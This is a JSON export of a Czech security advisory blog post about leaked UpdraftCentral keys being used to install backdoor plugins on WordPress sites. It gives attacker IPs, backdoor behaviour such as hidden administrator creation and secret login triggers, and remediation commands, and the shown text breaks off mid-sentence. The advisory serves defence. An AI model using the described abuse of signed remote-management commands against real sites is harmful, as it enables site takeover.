{"id":9627,"date":"2026-10-19T07:44:03","date_gmt":"2026-10-19T05:44:03","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-analyza\/"},"modified":"2026-10-26T04:36:15","modified_gmt":"2026-10-26T03:36:15","slug":"updraftcentral-backdoor-analyza","status":"publish","type":"post","link":"https:\/\/nethemba.com\/cs\/updraftcentral-backdoor-analyza\/","title":{"rendered":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby"},"content":{"rendered":"<h2 id=\"shrnut\u00ed\">Shrnut\u00ed<\/h2>\n<p><em>Stav k 22. \u0159\u00edjnu 2026, posledn\u00ed aktualizace 22. 10. 2026 (nov\u00e1 vyj\u00e1d\u0159en\u00ed v\u00fdrobce, kontroln\u00ed skript v9). Seznam zm\u011bn je na konci \u010dl\u00e1nku. Text budeme dopl\u0148ovat podle dal\u0161\u00edho v\u00fdvoje.<\/em><\/p>\n<p><strong>Aktualizace 19. 10. 2026:<\/strong> TeamUpdraft <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">potvrdil bezpe\u010dnostn\u00ed incident<\/a>. B\u011bhem v\u00edkendu 17. a 18. \u0159\u00edjna m\u011bl \u00fato\u010dn\u00edk neopr\u00e1vn\u011bn\u00fd p\u0159\u00edstup na teamupdraft.com a podle v\u00fdrobce pravd\u011bpodobn\u011b z\u00edskal z\u00e1kaznickou datab\u00e1zi: jm\u00e9na, e-maily, faktura\u010dn\u00ed adresy, historii objedn\u00e1vek, hashe hesel, nastaven\u00ed dvouf\u00e1zov\u00e9ho ov\u011b\u0159en\u00ed a kl\u00ed\u010de spojen\u00ed pro UpdraftCentral (cloud), UpdraftVault a UpdraftClone. Kl\u00ed\u010de, kter\u00fdmi \u00fato\u010dn\u00edk podepisoval p\u0159\u00edkazy, tedy unikly p\u0159\u00edmo od v\u00fdrobce. V\u00fdrobce odhl\u00e1sil v\u0161echny \u00fa\u010dty, vym\u011bnil kl\u00ed\u010de pro UpdraftVault a UpdraftClone a p\u0159ipravuje nouzovou verzi UpdraftPlus, kter\u00e1 automaticky odpoj\u00ed v\u0161echna spojen\u00ed UpdraftCentral vytvo\u0159en\u00e1 p\u0159ed 18. 10. 2026 22:00 BST (23:00 SEL\u010c). Pozd\u011bji tuto hranici v prohl\u00e1\u0161en\u00ed opravil na 13:07 BST (14:07 SEL\u010c), viz n\u00ed\u017ee. Dashboard\u016f UpdraftCentral hostovan\u00fdch na vlastn\u00edm serveru se \u00fanik podle v\u00fdrobce net\u00fdk\u00e1.<\/p>\n<p><strong>Aktualizace 19. 10. 2026 (ve\u010der):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack zve\u0159ejnil vlastn\u00ed anal\u00fdzu<\/a>, kter\u00e1 na\u0161e zji\u0161t\u011bn\u00ed potvrzuje a roz\u0161i\u0159uje. Vid\u011bl 99 r\u016fzn\u00fdch n\u00e1zv\u016f backdoor plugin\u016f nainstalovan\u00fdch od 18. 10. 15:32 do 19. 10. 9:23 a druhou IP adresu \u00fato\u010dn\u00edka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Ozvali se n\u00e1m i dal\u0161\u00ed posti\u017een\u00ed spr\u00e1vci. Jeden z nich na\u0161el <strong>druhou variantu backdooru, kter\u00e1 vytv\u00e1\u0159\u00ed administr\u00e1tora a sna\u017e\u00ed se ho skr\u00fdt<\/strong>. Popisujeme ji n\u00ed\u017ee a kontroln\u00ed skript jsme upravili, aby ji zachytil. Pokud jste skript spou\u0161t\u011bli d\u0159\u00edve, spus\u0165te ho znovu.<\/p>\n<p><strong>Aktualizace 19. 10. 2026 (funk\u010dn\u00ed varianta):<\/strong> Dal\u0161\u00ed spr\u00e1vce potvrdil, \u017ee <strong>funk\u010dn\u00ed verze backdooru je v ob\u011bhu<\/strong>. Na jeho webech byly t\u0159i ze \u010dty\u0159 backdoor\u016f funk\u010dn\u00ed, ka\u017ed\u00fd s jin\u00fdm n\u00e1zvem i popisem. Bez parametru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> p\u0159ihl\u00e1s\u00ed \u00fato\u010dn\u00edka jako existuj\u00edc\u00edho administr\u00e1tora a <strong>nezanech\u00e1 v datab\u00e1zi \u017e\u00e1dnou stopu<\/strong>, proto zkontrolujte i access log (postup n\u00ed\u017ee). Kontroln\u00ed skript jsme upravili na verzi 3, kter\u00e1 takov\u00e9 vzorky zachyt\u00ed podle k\u00f3du.<\/p>\n<p><strong>Aktualizace 19. 10. 2026 (rozbor vzorku):<\/strong> Dal\u0161\u00ed posti\u017een\u00fd spr\u00e1vce n\u00e1m poslal t\u0159i backdoory ze sv\u00fdch web\u016f. \u00dato\u010dn\u00edk tam nejprve nahr\u00e1l nefunk\u010dn\u00ed prvn\u00ed variantu a pozd\u011bji funk\u010dn\u00ed backdoory. <strong>Pokud jste na\u0161li prvn\u00ed variantu, ale kl\u00ed\u010d UpdraftCentral jste hned nesmazali, zkontrolujte web znovu.<\/strong> Vzorek druh\u00e9 varianty jsme tak mohli rozebrat i sami. Skr\u00fdv\u00e1n\u00ed \u00fa\u010dtu v n\u011bm nefunguje, tak\u017ee vytvo\u0159en\u00fd administr\u00e1tor se v seznamu u\u017eivatel\u016f zobraz\u00ed norm\u00e1ln\u011b. T\u0159et\u00ed vzorek je nov\u00e1 minim\u00e1ln\u00ed varianta, kter\u00e1 \u00fato\u010dn\u00edka jen p\u0159ihl\u00e1s\u00ed jako existuj\u00edc\u00edho administr\u00e1tora. Zachyt\u00ed ji kontroln\u00ed skript ve verzi 4.<\/p>\n<p><strong>Aktualizace 19. 10. 2026 (\u00fato\u010dn\u00edk se vrac\u00ed):<\/strong> \u00dato\u010dn\u00edk je st\u00e1le aktivn\u00ed. B\u011bhem 19. \u0159\u00edjna poslal na v\u0161echny t\u0159i na\u0161e weby dal\u0161\u00ed p\u0159\u00edkazy, naposledy ve 20:27 SEL\u010c. Na webu jin\u00e9ho spr\u00e1vce ve 12:22 SEL\u010c p\u0159\u00edkazem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> smazal nefunk\u010dn\u00ed backdoor a o dv\u011b sekundy pozd\u011bji nahr\u00e1l nov\u00fd. U n\u00e1s pokusy zablokoval mu-plugin z kroku 3 a kl\u00ed\u010de u\u017e byly smazan\u00e9. <strong>Kl\u00ed\u010d UpdraftCentral sma\u017ete i tehdy, pokud jste backdoor u\u017e odstranili.<\/strong> Pokusy zablokovan\u00e9 mu-pluginem se do logu UpdraftCentral nezap\u00ed\u0161ou, najdete je jen v access logu.<\/p>\n<p><strong>Aktualizace 19. 10. 2026 (nouzov\u00e1 verze):<\/strong> V\u00fdrobce vydal UpdraftPlus 1.26.12 \/ 2.26.12, kter\u00e1 m\u011bla smazat kl\u00ed\u010de UpdraftCentral Cloud z doby p\u0159ed incidentem. V k\u00f3du jsme ov\u011b\u0159ili, \u017ee kv\u016fli chyb\u011b nesma\u017ee \u017e\u00e1dn\u00fd kl\u00ed\u010d. V\u00fdrobce to t\u00fd\u017e ve\u010der opravil ve verzi 1.26.13 \/ 2.26.13. <strong>Aktualizujte na 1.26.13 \/ 2.26.13 nebo nov\u011bj\u0161\u00ed, ne na 1.26.12 \/ 2.26.12.<\/strong> Ani 1.26.13 v\u0161ak nesma\u017ee kl\u00ed\u010de vytvo\u0159en\u00e9 18. 10. mezi 14:07 a 23:00 SEL\u010c, p\u0159esto\u017ee v\u00fdrobce v prohl\u00e1\u0161en\u00ed p\u016fvodn\u011b uvedl hranici 23:00 SEL\u010c. V prohl\u00e1\u0161en\u00ed aktualizovan\u00e9m 23. 10. u\u017e uv\u00e1d\u00ed 14:07 SEL\u010c (13:07 BST), co\u017e odpov\u00edd\u00e1 k\u00f3du. Kl\u00ed\u010de vytvo\u0159en\u00e9 18. 10. pozd\u011bji pro jistotu sma\u017ete ru\u010dn\u011b; n\u00e1vod v\u00fdrobce stejn\u011b rad\u00ed smazat kl\u00ed\u010d na ka\u017ed\u00e9m webu. \u00datoky na na\u0161e weby za\u010daly a\u017e pot\u00e9, co v\u00fdrobce \u00fanik potvrdil a \u00fato\u010dn\u00edkovi zablokoval p\u0159\u00edstup: ukraden\u00e9 kl\u00ed\u010de funguj\u00ed, dokud je web nesma\u017ee. Na\u0161e weby s pr\u00e9miovou verz\u00ed ji dostaly automaticky 20. 10.<\/p>\n<p><strong>Aktualizace 20. 10. 2026 (kl\u00ed\u010d bez v\u011bdom\u00ed spr\u00e1vce):<\/strong> Kl\u00ed\u010d UpdraftCentral m\u016f\u017eete m\u00edt, i kdy\u017e jste UpdraftCentral nikdy nepou\u017e\u00edvali. UpdraftPlus, bezplatn\u00fd i pr\u00e9miov\u00fd, p\u0159i p\u0159ihl\u00e1\u0161en\u00ed k \u00fa\u010dtu teamupdraft.com p\u0159edem za\u0161krtne pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c. Zkontrolujte proto kl\u00ed\u010d na ka\u017ed\u00e9m webu s UpdraftPlus. Dal\u0161\u00ed napaden\u00fd spr\u00e1vce n\u00e1m napsal, \u017ee UpdraftCentral nikdy nezap\u00ednal. Jeho web m\u011bl Wordfence, Patchstack i Cloudflare a ani jeden z nich platn\u011b podepsan\u00fd p\u0159\u00edkaz UpdraftCentral nezastavil.<\/p>\n<p><strong>Aktualizace 20. 10. 2026 (skryt\u00fd backdoor):<\/strong> Dal\u0161\u00ed spr\u00e1vce n\u00e1m poslal t\u0159i backdoory z jednoho webu. Jeden z nich, \u201eSite Health Cache\u201c, se skr\u00fdv\u00e1 ze seznamu plugin\u016f v administraci, tak\u017ee ho tam neuvid\u00edte. Spolehn\u011bte se proto na kontroln\u00ed skript, kter\u00fd \u010dte soubory p\u0159\u00edmo z disku. Na tom webu \u00fato\u010dn\u00edk za necel\u00fdch deset hodin nahr\u00e1l minim\u00e1ln\u00ed, funk\u010dn\u00ed i nefunk\u010dn\u00ed variantu.<\/p>\n<p><strong>Aktualizace 20. 10. 2026 (dal\u0161\u00ed vzorky):<\/strong> Od t\u0159\u00ed spr\u00e1vc\u016f jsme dostali dal\u0161\u00edch deset vzork\u016f. V\u0161echny pat\u0159\u00ed ke t\u0159em zn\u00e1m\u00fdm variant\u00e1m, m\u011bn\u00ed se jen n\u00e1zev, popis, fale\u0161n\u00fd autor a token. Na dvou webech jednoho spr\u00e1vce b\u011b\u017eely funk\u010dn\u00ed backdoory p\u0159es t\u0159i hodiny p\u0159edt\u00edm, ne\u017e web shodila nefunk\u010dn\u00ed varianta. <strong>To, \u017ee web spadl, tedy neznamen\u00e1, \u017ee se \u00fato\u010dn\u00edk p\u0159edt\u00edm nemohl dostat dovnit\u0159.<\/strong> Access log zkontrolujte i v takov\u00e9m p\u0159\u00edpad\u011b. I tento spr\u00e1vce podle vlastn\u00edch slov UpdraftCentral nikdy nepou\u017e\u00edval.<\/p>\n<p><strong>Aktualizace 20. 10. 2026 (\u00fato\u010dn\u00edk zkou\u0161\u00ed backdoory):<\/strong> 20. \u0159\u00edjna \u00fato\u010dn\u00edk p\u0159\u00edmo vyzkou\u0161el tajn\u00e9 spou\u0161t\u011b\u010de u\u017e odstran\u011bn\u00fdch backdoor\u016f na nejm\u00e9n\u011b \u0161esti webech \u010dty\u0159 spr\u00e1vc\u016f v\u010detn\u011b dvou na\u0161ich (u n\u00e1s v 11:39 a 11:57 UTC). Na na\u0161ich webech pou\u017eil spr\u00e1vn\u00e9 tokeny. Po\u017eadavky p\u0159i\u0161ly z IP adres <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> a z rozsah\u016f <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, v\u017edy s o\u0159\u00edznutou hlavi\u010dkou User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code>. V\u0161ude dostal b\u011b\u017enou str\u00e1nku nebo chybu, proto\u017ee backdoory tam u\u017e nebyly. <strong>Pokud backdoor na webu je\u0161t\u011b m\u00e1te, \u00fato\u010dn\u00edk ho aktivn\u011b pou\u017e\u00edv\u00e1.<\/strong> Access log prohledejte podle postupu n\u00ed\u017ee.<\/p>\n<p><strong>Aktualizace 21. 10. 2026 (\u00fato\u010dn\u00edk st\u00e1le pos\u00edl\u00e1 p\u0159\u00edkazy):<\/strong> I 21. \u0159\u00edjna r\u00e1no poslal \u00fato\u010dn\u00edk z IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> dal\u0161\u00ed p\u0159\u00edkazy UpdraftCentral na dva na\u0161e weby (7:10 a\u017e 9:21 UTC), tedy u\u017e po vyd\u00e1n\u00ed verze 1.26.13 \/ 2.26.13. U n\u00e1s je zastavil mu-plugin a kl\u00ed\u010de u\u017e neexistovaly. \u00dato\u010dn\u00edk tedy kl\u00ed\u010de z \u00faniku st\u00e1le pou\u017e\u00edv\u00e1. <strong>Ohro\u017een\u00e9 z\u016fst\u00e1vaj\u00ed weby, kter\u00e9 nemaj\u00ed 1.26.13 \/ 2.26.13 a kl\u00ed\u010d nesmazaly ru\u010dn\u011b.<\/strong><\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>\u010ceho se to t\u00fdk\u00e1<\/strong><\/td>\n<td>slu\u017eby UpdraftCentral, jej\u00ed\u017e klient je sou\u010d\u00e1st\u00ed pluginu UpdraftPlus, bezplatn\u00e9ho i pr\u00e9miov\u00e9ho<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Dot\u010den\u00e9 verze<\/strong><\/td>\n<td>v\u0161echny verze UpdraftPlus do 1.26.12 a 2.26.12 p\u0159ipojen\u00e9 k UpdraftCentral Cloud spojen\u00edm vytvo\u0159en\u00fdm nejpozd\u011bji 18. 10. 2026. Verze 1.26.13 \/ 2.26.13 sma\u017ee kl\u00ed\u010de vytvo\u0159en\u00e9 p\u0159ed 18. 10. 14:07 SEL\u010c (13:07 BST). Tuto hranici uv\u00e1d\u00ed od aktualizace 23. 10. i prohl\u00e1\u0161en\u00ed v\u00fdrobce (p\u016fvodn\u011b 23:00 SEL\u010c). Kl\u00ed\u010de vytvo\u0159en\u00e9 18. 10. pozd\u011bji na webu z\u016fstanou, proto je pro jistotu sma\u017ete ru\u010dn\u011b. P\u0159ipojen\u00e9 weby s verzemi do 1.26.4 a 2.26.4 um\u00ed \u00fato\u010dn\u00edk napadnout i bez platn\u00fdch kl\u00ed\u010d\u016f (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Kolik web\u016f<\/strong><\/td>\n<td>UpdraftPlus m\u00e1 podle wordpress.org v\u00edce ne\u017e 4 miliony aktivn\u00edch instalac\u00ed a v\u00fdrobce ho ozna\u010duje za nejpopul\u00e1rn\u011bj\u0161\u00ed plugin pro pl\u00e1novan\u00e9 z\u00e1lohov\u00e1n\u00ed na sv\u011bt\u011b. U \u010dervnov\u00e9 chyby stejn\u00e9ho kan\u00e1lu v\u00fdrobce odhadl, \u017ee kl\u00ed\u010d UpdraftCentral nebo Migrator m\u00e1 m\u00e9n\u011b ne\u017e 10 % u\u017eivatel\u016f, tedy a\u017e kolem 400 000 web\u016f. Kolik z nich \u00fato\u010dn\u00edk napadl, nev\u00edme.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Oprava<\/strong><\/td>\n<td>v\u00fdrobce 19. 10. vydal UpdraftPlus 1.26.12 \/ 2.26.12, kter\u00e1 m\u011bla smazat star\u00e9 kl\u00ed\u010de UpdraftCentral Cloud, ale kv\u016fli chyb\u011b nesma\u017ee \u017e\u00e1dn\u00fd. Funguje a\u017e 1.26.13 \/ 2.26.13 z ve\u010dera 19. 10.: p\u0159i ka\u017ed\u00e9m na\u010dten\u00ed webu sma\u017ee kl\u00ed\u010de UpdraftCentral Cloud vytvo\u0159en\u00e9 p\u0159ed 18. 10. 2026 14:07 SEL\u010c. Kl\u00ed\u010de vytvo\u0159en\u00e9 mezi 14:07 a 23:00 SEL\u010c (p\u016fvodn\u00ed hranice v\u00fdrobce) je t\u0159eba smazat ru\u010dn\u011b, stejn\u011b jako na webech, kde aktualizace je\u0161t\u011b neprob\u011bhla. N\u00e1vod v\u00fdrobce stejn\u011b rad\u00ed smazat kl\u00ed\u010d na ka\u017ed\u00e9m webu. Podle v\u00fdrobce WordPress.org verzi 1.26.13 rozeslal v\u0161em web\u016fm automaticky.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Do\u010dasn\u00e9 \u0159e\u0161en\u00ed<\/strong><\/td>\n<td>zru\u0161it spojen\u00ed s UpdraftCentral, web zkontrolovat na\u0161\u00edm skriptem, zm\u011bnit heslo k \u00fa\u010dtu teamupdraft.com a voliteln\u011b zablokovat p\u0159\u00edkazy UpdraftCentral mal\u00fdm mu-pluginem (postup n\u00ed\u017ee). UpdraftPlus nen\u00ed t\u0159eba odinstalovat, z\u00e1lohov\u00e1n\u00ed funguje d\u00e1l.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>V noci na 19. \u0159\u00edjna 2026 poslal \u00fato\u010dn\u00edk z IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> p\u0159es slu\u017ebu UpdraftCentral p\u0159\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> na t\u0159i na\u0161e weby s WordPressem. UpdraftCentral je slu\u017eba pro vzd\u00e1lenou spr\u00e1vu web\u016f od TeamUpdraft a jej\u00ed klient je zabudovan\u00fd v ka\u017ed\u00e9 kopii pluginu UpdraftPlus. Na dvou z na\u0161ich web\u016f p\u0159\u00edkaz pro\u0161el a WordPress nainstaloval a aktivoval nezn\u00e1m\u00fd plugin. Na t\u0159et\u00edm selhal na opr\u00e1vn\u011bn\u00edch.<\/p>\n<p>Chyba nebyla na na\u0161\u00ed stran\u011b. V\u0161echny t\u0159i weby m\u011bly aktu\u00e1ln\u00ed WordPress 7.1.3 i UpdraftPlus 2.26.11, opraven\u00fd proti \u010dervnov\u00e9 zranitelnosti CVE-2026-10795. \u00dato\u010dn\u00edk se do na\u0161ich server\u016f nenabo\u0159il a nevyu\u017eil \u017e\u00e1dnou chybu v na\u0161\u00ed konfiguraci. P\u0159i\u0161el kan\u00e1lem vzd\u00e1len\u00e9 spr\u00e1vy UpdraftCentral a p\u0159\u00edkazy podepsal platn\u00fdmi soukrom\u00fdmi kl\u00ed\u010di dashboardu. Ty generuje a uchov\u00e1v\u00e1 slu\u017eba UpdraftCentral Cloud a na na\u0161ich serverech nikdy nebyly. Kdo je m\u00e1, m\u016f\u017ee na ka\u017ed\u00e9m p\u0159ipojen\u00e9m webu bez v\u011bdom\u00ed majitele nainstalovat a spustit libovoln\u00fd k\u00f3d. Proto to pova\u017eujeme za kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m slu\u017eby UpdraftCentral.<\/p>\n<p><strong>Kdo je ohro\u017een:<\/strong> ka\u017ed\u00fd web s UpdraftPlus, bezplatn\u00fdm i pr\u00e9miov\u00fdm, kter\u00fd je p\u0159ipojen\u00fd k UpdraftCentral, tedy m\u00e1 vytvo\u0159en\u00fd kl\u00ed\u010d UpdraftCentral. Klienta UpdraftCentral obsahuje ka\u017ed\u00e1 z v\u00edce ne\u017e 4 milion\u016f instalac\u00ed UpdraftPlus. Weby, kter\u00e9 k UpdraftCentral p\u0159ipojen\u00e9 nejsou, tento \u00fatok neohro\u017euje, proto\u017ee p\u0159\u00edkazy UpdraftCentral bez kl\u00ed\u010de nep\u0159ij\u00edmaj\u00ed. Na\u0161e weby byly p\u0159ipojen\u00e9 k UpdraftCentral Cloud, tedy k dashboardu, kter\u00fd provozuje TeamUpdraft. Podle v\u00fdrobce se \u00fanik net\u00fdk\u00e1 dashboard\u016f UpdraftCentral hostovan\u00fdch na vlastn\u00edm serveru. Unikly ale i kl\u00ed\u010de pro UpdraftVault a UpdraftClone, kter\u00e9 v\u00fdrobce mezit\u00edm vym\u011bnil. Kl\u00ed\u010d p\u0159itom mohl vzniknout i bez v\u011bdom\u00ed spr\u00e1vce: bezplatn\u00e1 i pr\u00e9miov\u00e1 verze p\u0159i p\u0159ihl\u00e1\u0161en\u00ed k \u00fa\u010dtu teamupdraft.com na kart\u011b Premium \/ Extensions nab\u00edz\u00ed pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c, kter\u00e9 je p\u0159edem za\u0161krtnut\u00e9, dokud web nem\u00e1 \u017e\u00e1dn\u00fd kl\u00ed\u010d (ov\u011b\u0159ili jsme v k\u00f3du verz\u00ed 2.26.11 a 1.26.13). Samotnou instalac\u00ed pluginu kl\u00ed\u010d nevznikne, jen p\u0159ihl\u00e1\u0161en\u00edm k \u00fa\u010dtu teamupdraft.com v pluginu. T\u00fdk\u00e1 se to proto hlavn\u011b pr\u00e9miov\u00fdch web\u016f, kde se spr\u00e1vce p\u0159ihla\u0161uje kv\u016fli licenci a aktualizac\u00edm, a bezplatn\u00fdch web\u016f, kter\u00e9 se k \u00fa\u010dtu n\u011bkdy p\u0159ihl\u00e1sily.<\/p>\n<p>Nejde o zranitelnost CVE-2026-10795, o kter\u00e9 v \u010dervnu psal Wordfence: tu m\u011bly na\u0161e weby opravenou a pokusy o jej\u00ed zneu\u017eit\u00ed na nich selh\u00e1valy.<\/p>\n<p>Plugin je backdoor. Na tajn\u00fd odkaz m\u011bl vytvo\u0159it \u00fa\u010det se zamaskovan\u00fdmi pr\u00e1vy administr\u00e1tora a \u00fato\u010dn\u00edka do n\u011bj rovnou p\u0159ihl\u00e1sit. Autor v\u0161ak v k\u00f3du ud\u011blal chybu, tak\u017ee na na\u0161ich webech backdoor nikdy nefungoval. M\u00edsto toho shodil ka\u017ed\u00fd po\u017eadavek na web, kter\u00fd ne\u0161el z cache, a WordPress n\u00e1m o tom poslal e-mail. D\u00edky tomu jsme ho na\u0161li b\u011bhem n\u011bkolika minut a\u017e hodin. Jin\u00ed spr\u00e1vci v\u0161ak u\u017e na\u0161li i funk\u010dn\u00ed varianty, kter\u00e9 popisujeme n\u00ed\u017ee.<\/p>\n<p>Incident jsme 19. \u0159\u00edjna nahl\u00e1sili TeamUpdraft a po\u017e\u00e1dali je o vysv\u011btlen\u00ed, jak se kl\u00ed\u010de dostaly k \u00fato\u010dn\u00edkovi.<\/p>\n<p><strong>Pokud m\u00e1te web p\u0159ipojen\u00fd k UpdraftCentral, pova\u017eujte ho za potenci\u00e1ln\u011b kompromitovan\u00fd, dokud ho neov\u011b\u0159\u00edte.<\/strong> Spojen\u00ed okam\u017eit\u011b zru\u0161te a web zkontrolujte podle postupu n\u00ed\u017ee. K 19. \u0159\u00edjnu 2026 jsme o tomto backdooru ani o podobn\u00e9m \u00fatoku po \u010dervnov\u00e9 oprav\u011b nena\u0161li \u017e\u00e1dnou ve\u0159ejnou zm\u00ednku.<\/p>\n<h2 id=\"co-ud\u011blat-hned\">Co ud\u011blat hned<\/h2>\n<h3 id=\"zru\u0161te-spojen\u00ed-s-updraftcentral\">1. Zru\u0161te spojen\u00ed s UpdraftCentral<\/h3>\n<p>Aktualizujte UpdraftPlus na verzi 1.26.13 (bezplatn\u00e1) nebo 2.26.13 (pr\u00e9miov\u00e1) \u010di nov\u011bj\u0161\u00ed. Ta sama sma\u017ee kl\u00ed\u010de UpdraftCentral Cloud vytvo\u0159en\u00e9 p\u0159ed 18. 10. 2026 14:07 SEL\u010c. Verze 1.26.12 \/ 2.26.12 kl\u00ed\u010de nesma\u017ee. Potom i tak zkontrolujte, zda na webu nez\u016fstal \u017e\u00e1dn\u00fd kl\u00ed\u010d:<\/p>\n<p>V administraci WordPressu otev\u0159ete Nastaven\u00ed \u2192 UpdraftPlus Backups \u2192 karta \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Klikn\u011bte na \u201eManage existing keys (N)\u2026\u201c a u ka\u017ed\u00e9ho kl\u00ed\u010de na \u201eDelete\u2026\u201c. Pokud tam \u017e\u00e1dn\u00fd kl\u00ed\u010d nen\u00ed, web p\u0159ipojen\u00fd nen\u00ed.<\/p>\n<p>S p\u0159\u00edstupem k p\u0159\u00edkazov\u00e9 \u0159\u00e1dce tot\u00e9\u017e ud\u011bl\u00e1 tento p\u0159\u00edkaz v ko\u0159enov\u00e9m adres\u00e1\u0159i WordPressu:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Potom web odstra\u0148te i v dashboardu UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 u webu \u2192 Remove site). Samotn\u00e9 odstran\u011bn\u00ed z dashboardu nesta\u010d\u00ed. \u00dato\u010dn\u00edk m\u00e1 soukrom\u00fd kl\u00ed\u010d dashboardu, tak\u017ee rozhoduje smaz\u00e1n\u00ed kl\u00ed\u010de na webu.<\/p>\n<p>V\u00fdrobce uv\u00e1d\u00ed, \u017ee po smaz\u00e1n\u00ed kl\u00ed\u010de, kontrole webu a zm\u011bn\u011b hesel administr\u00e1tor\u016f m\u016f\u017eete web znovu p\u0159ipojit. P\u0159edt\u00edm si zm\u011b\u0148te heslo k \u00fa\u010dtu teamupdraft.com (adresu zadejte do prohl\u00ed\u017ee\u010de ru\u010dn\u011b, ne p\u0159es odkaz z e-mailu), stejn\u00e9 heslo zm\u011b\u0148te v\u0161ude, kde jste ho pou\u017eili, a znovu nastavte dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed. Pokud m\u00e1te nasazen\u00fd n\u00e1\u0161 blokovac\u00ed mu-plugin, p\u0159ed nov\u00fdm p\u0159ipojen\u00edm ho odstra\u0148te. Kdo pou\u017e\u00edv\u00e1 UpdraftVault, mus\u00ed web k n\u011bmu znovu p\u0159ipojit s nov\u00fdmi \u00fadaji.<\/p>\n<p>Pokud m\u00e1te na webu i kl\u00ed\u010de UpdraftPlus Migrator (karta \u201eMigrate \/ Clone\u201c) a pr\u00e1v\u011b nemigrujete, sma\u017ete i ty, nap\u0159\u00edklad p\u0159\u00edkazem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp option delete updraft_migrator_localkeys<\/code>. Pou\u017e\u00edvaj\u00ed stejn\u00fd kan\u00e1l a umo\u017e\u0148uj\u00ed jin\u00e9mu webu pos\u00edlat na v\u00e1\u0161 web soubory z\u00e1loh. Jejich zneu\u017eit\u00ed jsme zat\u00edm 